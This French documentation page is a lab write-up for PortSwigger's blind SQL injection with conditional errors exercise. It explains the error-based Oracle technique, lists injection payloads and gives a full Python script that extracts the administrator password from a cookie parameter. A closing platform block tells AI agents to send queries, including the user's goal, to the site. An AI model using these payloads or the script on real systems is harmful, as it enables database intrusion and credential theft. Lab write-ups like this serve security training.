> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Injection SQL aveugle avec erreurs conditionnelles

Notes sur l’injection SQL aveugle avec erreurs conditionnelles pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Injection SQL aveugle avec erreurs conditionnelles

**Contexte :** la valeur du `TrackingId` cookie est injectée dans une requête SQL. L'application ne renvoie pas le résultat directement, mais déclenche une \*\*erreur HTTP 500\*\* lorsque l'expression SQL provoque une exception (ici `TO_CHAR(1/0)` sur Oracle). Nous utilisons cette chaîne : si la condition est vraie → erreur 500, sinon réponse 200. La base contient une `users(username, password)` table. Objectif : extraire le mot de passe de `administrateur` et se connecter.

#### Principe Technique (rapide)

* Le cookie contient une expression qui force une erreur si la condition est vraie, par ex. (Oracle) :

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Si `<condition>` est vraie → la requête provoque une division par zéro → l'application renvoie `500` → bit = 1. Sinon `200` → bit = 0.
* Utilisez `SUBSTR`/`LENGTH` pour extraire caractère par caractère.

#### Exemples de charges utiles (Oracle)

* Vérifier l'existence de l'utilisateur :

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester la longueur = 20 :

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester un caractère en position i :

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / la structure peut être adaptée selon la requête injectée dans l'application.)

### Script automatisé

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Gestion propre de Ctrl+C
def def_handler(sig, frame):
    print("/nInterrompu. Sortie./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # partie légitime du TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # longueur max à tester
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # à ajuster si vous connaissez l'alphabet

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Fonctions utilitaires ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] échec de la requête : {e}")
        return None

def make_error_payload(condition_sql):
    """
    Construit le TrackingId complet pour Oracle :
    ex. : TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Enveloppe la condition dans la sous-requête qui renvoie une ligne pour l'admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Étape 1 : détecter la longueur du mot de passe (facultatif mais utile) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Détection de la longueur du mot de passe...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Longueur détectée : {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] Aucune longueur détectée <= max_len ; envisagez d'augmenter max_len")
    return None

# --- Étape 2 : extraction caractère par caractère ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # solution de repli : essayer les positions jusqu'à l'échec
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraction (longueur supposée = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (mot de passe jusqu'ici : {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # courte pause entre les tentatives
            time.sleep(0.01)
        if not found:
            print(f"[-] Aucun caractère trouvé à la position {pos} -> fin probable. Mot de passe : {password}")
            break
    return password

if __name__ == "__main__":
    # détecter la longueur puis extraire
    detected_len = detect_length(max_len=30)   # ajustez max_len selon l'environnement
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Mot de passe récupéré (partiel/estimé) : {recovered}/n")
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
